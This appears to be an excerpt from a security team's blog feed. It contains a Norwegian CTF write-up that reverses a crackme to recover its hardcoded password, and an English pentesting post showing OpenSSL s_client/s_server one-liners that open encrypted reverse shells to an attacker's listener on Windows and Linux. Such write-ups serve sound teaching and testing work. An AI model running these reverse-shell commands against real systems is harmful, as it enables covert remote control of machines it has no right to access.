| ,=< 0x0000085c 7405 je 0x863
| | 0x0000085e e8edfdffff call sym.imp.__stack_chk_fail
| | ; JMP XREF from 0x0000085c (main)
| `-> 0x00000863 c9 leave
\ 0x00000864 c3 ret
</code></pre></div></div>
<p>Vi ser av dette at programmet aksepterer input fra standard inndata og at den skrivet dette til rbp-0x30, [local_30h] i radar utskriften.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>| 0x000007fc 488d45d0 lea rax, qword [local_30h]
| 0x00000800 4889c6 mov rsi, rax
| 0x00000803 488d3dfb0000. lea rdi, qword [0x00000905] ; "%s"
| 0x0000080a b800000000 mov eax, 0
| 0x0000080f e86cfeffff call sym.imp.__isoc99_scanf
</code></pre></div></div>
<p>Dette vet vi siden RSI er det andre argumentet til funksjoner på grunn<a href="https://courses.cs.washington.edu/courses/cse378/10au/sections/Section1_recap.pdf">64 bit linux calling convention</a>s dermed så kan vi forstå at dette under tilsvarer koden over</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>scanf(rdi,rsi);
siden RDI pointer til stringen "%s" og RSI pointer til rbp-0x30 (local_30) så kan vi gjette at RBP-0x30 er et array
og at disse 5 instruksjonene kan bli "oversatt" til scanf("%s",local_30);
</code></pre></div></div>
<p>Rett etter disse instruksjonene så har vi noe kode før strcmp som fører til logikk som printer ut Congratiulations om de to tekststrengene er like.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>| 0x00000814 488d55b0 lea rdx, qword [local_50h]
| 0x00000818 488d45d0 lea rax, qword [local_30h]
| 0x0000081c 4889d6 mov rsi, rdx
| 0x0000081f 4889c7 mov rdi, rax
| 0x00000822 e849feffff call sym.imp.strcmp
| 0x00000827 8945ac mov dword [local_54h], eax
| 0x0000082a 837dac00 cmp dword [local_54h], 0
| 0x0000082e 750e jne 0x83e
| 0x00000830 488d3dd10000. lea rdi, qword str.Success ; Success"
| 0x00000837 e804feffff call sym.imp.puts
</code></pre></div></div>
<p>Vi ser at tekststrengen vi ga programmet blir lastet inn i rdi, det første argumentet i en funksjons call, og at denne blir sammenlignet med en annen string som er lagret i adressen rbp-0x50, [local_50] i radar utskriften. Vi kan “oversette” denne koden slik</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>char *rsi = local_50 ; // vi må anta at local_50 er en char *
char *rdi = input; // [Local_30]
if(stcmp(input,local_50)==0)
{
puts("Success");
}
// Jeg skippet swappen mellom registere før callen
</code></pre></div></div>
<p>Flagget må være hva som er lagret i local_50, vi kan finne hva som er lagret der enten ved å bruke statisk eller dynamisk analyse.</p>
<p><strong>Statisk analyse</strong></p>
<p>Vi ser at ved starten av programmet så blir local_50 satt til 0x6361427070616c53 dette nummeret består av <a href="http://man-ascii.com/">ascii</a>verdier, vis vi konverteren dette til <a href="http://man-ascii.com/">ascii</a>så får vi caBppalS denne tekstrengen er baklengs på grunn av <a href="https://en.wikipedia.org/wiki/Endianness">Endianess</a>. Rett etter dette så ser vi at noen andre lignende nummer blir plassert på <a href="https://no.wikipedia.org/wiki/Stakk_(datastruktur)">stacken</a>. Siden arrays fungerer baklengs i forhold til stacken så kan vi gjette at disse tilhører local_50</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>| 0x000007c1 48b8536c6170. movabs rax, 0x6361427070616c53
| 0x000007cb 48ba6f6e5061. movabs rdx, 0x7a69506161506e6f
| 0x000007d5 488945b0 mov qword [local_50h], rax
| 0x000007d9 488955b8 mov qword [local_48h], rdx
| 0x000007dd 48b87a615375. movabs rax, 0x7265677553617a
| 0x000007e7 488945c0 mov qword [local_40h], rax
Siden stacken vokser backlengs så kan vi anta at den første stelen av stringen
lagret baklengs er 0x6361427070616c53 den andre delen er 0x7a69506161506e6f og den
siste delen er 0x7265677553617a
Vi kan lett skrive et python script for å dekodifiserer dette
#!/usr/bin/python3
str = ""
str += bytes.fromhex('6361427070616c53').decode('ascii')[::-1]
str += bytes.fromhex('7a69506161506e6f').decode('ascii')[::-1]
str += bytes.fromhex('7265677553617a').decode('ascii')[::-1]
print(str)
Dette Spytter ut flagget 'SlappBaconPaaPizzaSuger'
</code></pre></div></div>
<p><strong>Dynamisk analyse</strong></p>
<p>Vi kan også se hva som ligger i rsi (det andre argumentet til funksjonen) når programmet caller strcmp dette er ganske så lett og vi kan gjøre dette med gdb. Vi starter med gdb -q [programfil], vi kjører så disassemble main kommandoen for å få disassemblyen av main slik at vi kan vite hvilket offset i main vi vil breake på. For å breake ved det offsettet skriver break *main+offset før vi kjører programet med r. Når vi når breakpointet så printer vi ut rsi med x/s $rsi, x for å spesifisere at vi vil printe ut en adresse /s for å printe ut dette som en string</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gdb -q ./crackme1
Reading symbols from ./crackme1...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel // jeg kjører dette for å få disambly i intel syntax
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000000007aa <+0>: push rbp
0x00000000000007ab <+1>: mov rbp,rsp
0x00000000000007ae <+4>: sub rsp,0x60
...[SNIPP]...
0x0000000000000822 <+120>: call 0x670 <strcmp@plt>
0x0000000000000827 <+125>: mov DWORD PTR [rbp-0x54],eax
...[SNIPP]...
0x0000000000000863 <+185>: leave
0x0000000000000864 <+186>: ret
End of assembler dump.
(gdb) break *main+120
Breakpoint 1 at 0x822
(gdb) r
Starting program: /home/NSA_NOT_TODAY/TSOCCTF/crackme1
Enter Password: asd
Breakpoint 1, 0x0000555555554822 in main ()
(gdb) i r rsi
rsi 0x7fffffffe180 140737488347520
(gdb) x/s $rsi
0x7fffffffe180: "SlappBaconPaaPizzaSuger"
</code></pre></div></div>
<p><strong>IDA</strong></p>
<p>letteste måten å løse det hele er egentlig bare å bruke IDA PRO :), hvis man åpner filen i Ida PRO og søker til main så kan man bare trykke F5 og få IDA sin “oversettelse” av det hele.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int __cdecl main(int argc, const char **argv, const char** envp)
{
char s2[8]; // [rsp+10h] [rbp-50h]
char s1; // [rsp+30h] [rbp-30h]
unsigned __int64 v6; // [rsp+58h] [rbp-8h]
v6 = __readfsqword(0x28u);
strcpy(s2, "SlappBaconPaaPizzaSuger");
printf("Enter Password: ", argv);
__isoc99_scanf("%s", &s1);
if ( !strcmp(&s1, s2) )
puts("Success");
else
puts("Fail!");
return 0;
}
</code></pre></div></div>
<p>som vi kan se så har ida “oversatt” det hele ganske så bra.</p>Inequation Group deltok og vant Telenor Security Operation Centre sin CTF.OpenSSL == NC2018-10-30T11:18:00+00:002018-10-30T11:18:00+00:00/2018/10/30/openssl-nc<p>During the enumeration face on a box where I had a limited horrible DNS shell I stumbled upon an <strong><a href="https://linux.die.net/man/1/openssl">OpenSSL</a></strong> installation this led to me being able to pop a better, less restrictive and “noisy” reverse shell using some obscure features incorporated into OpenSSL.</p>
<p><strong>OpenSSL,</strong> most people associate OpenSSL with encryption, decryption and verification of data. Other than these main features OpenSSL’s binary also hides some true gems <a href="https://linux.die.net/man/1/s_client"><strong>s_client</strong></a> and <a href="https://linux.die.net/man/1/s_server"><strong>s_server</strong></a> these permits users to test their server side SSL implementation, but it also gives us pentesters a way to send and recive encrypted data.</p>
<p><strong>S_Client</strong> , the likeness of nc and OpenSSL client functionality is immediate as the simple command <code class="language-plaintext highlighter-rouge">openssl s_client -quiet -connect [ip]:[port]</code> is equivalent to<code class="language-plaintext highlighter-rouge">nc [ip]:[port]</code>. The <code class="language-plaintext highlighter-rouge">-quiet</code> flag is necessary as if not the session will be renegotiated if an R ever starts a line in the input.</p>
<p><strong>S_Server,</strong> OpenSSL server functionality is a little bit different from nc’s and it’s somewhat more difficult to set up as it needs a valid public key certificate, fortunately OpenSSL “main function” is to generate the type of certificate we need. Generating one of these can be easily be done with this command <code class="language-plaintext highlighter-rouge">openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes</code> this generates a private key into the file key.pem and it writes a cert into the cert.pem file these we can then use to set up the server. To set up the server we can then run <code class="language-plaintext highlighter-rouge">openssl s_server -quiet -key [keyfile] -cert [cert] -port [port]</code> this is equivalent to running <code class="language-plaintext highlighter-rouge">nc -lp [ip] [port]</code> as long as we provide a valid keyfile and it’s associated public key certificate</p>
<p>Knowing this we can easily understand how we can “abuse this” to generate reverse shells</p>
<p>_ <strong>Reverse shells on Windows and Linux</strong> _</p>
<p><strong>Windows, </strong> to create a reverse shell on windows we can run <code class="language-plaintext highlighter-rouge">openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]</code> this connects the input of cmd onto the server listening at [ip] on [port1] and the output onto the server listening at [ip] on [port2]. On the server side we have to listen on two different ports running two different instances of OpenSSL binary e.g <code class="language-plaintext highlighter-rouge">openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]</code> and in another shell <code class="language-plaintext highlighter-rouge">openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]</code> a thing to note is that it isn’t necessary to have input and output on the same host making it somewhat flexible. Sadly this flexibility comes with the fact that you have to run two different instances of the same binary, this can be of course mitigated by writing some code which will be posted in the next blog post on this topic.</p>
<p><strong>Linux,</strong> on Linux we can avoid the double instances of OpenSSL as we can create a unique pipe which can be used both for input and for output using the <code class="language-plaintext highlighter-rouge">mkfifo</code>command to create a pipe that can easily redirect our input :D.To create a reverse shell on linux we can run <code class="language-plaintext highlighter-rouge">mkfifo pipe; /bin/bash -i < pipe 2>&1 | openssl s_client -quiet -connect [ip]:[port] > pipe; rm pipe</code> this connects the standard input, output and <a href="https://linux.die.net/man/3/stderr">error</a>onto the server on [ip] listening on [port]. This makes starting up the “handler/listener” easier as we can just run <code class="language-plaintext highlighter-rouge">openssl s_server -quiet -key [keyFile] -cert [certFile] -port [port]</code></p>During the enumeration face on a box where I had a limited horrible DNS shell I stumbled upon an OpenSSL installation this led to me being able to pop a better, less restrictive and “noisy” reverse shell using some obscure features incorporated into OpenSSL.Welcome to our blog2018-10-30T10:00:39+00:002018-10-30T10:00:39+00:00/2018/10/30/welcome-to-our-blog<p>Welcome to inequationGroups blog, here members of InequationGroup will write on topics related to computer security.</p>Welcome to inequationGroups blog, here members of InequationGroup will write on topics related to computer security.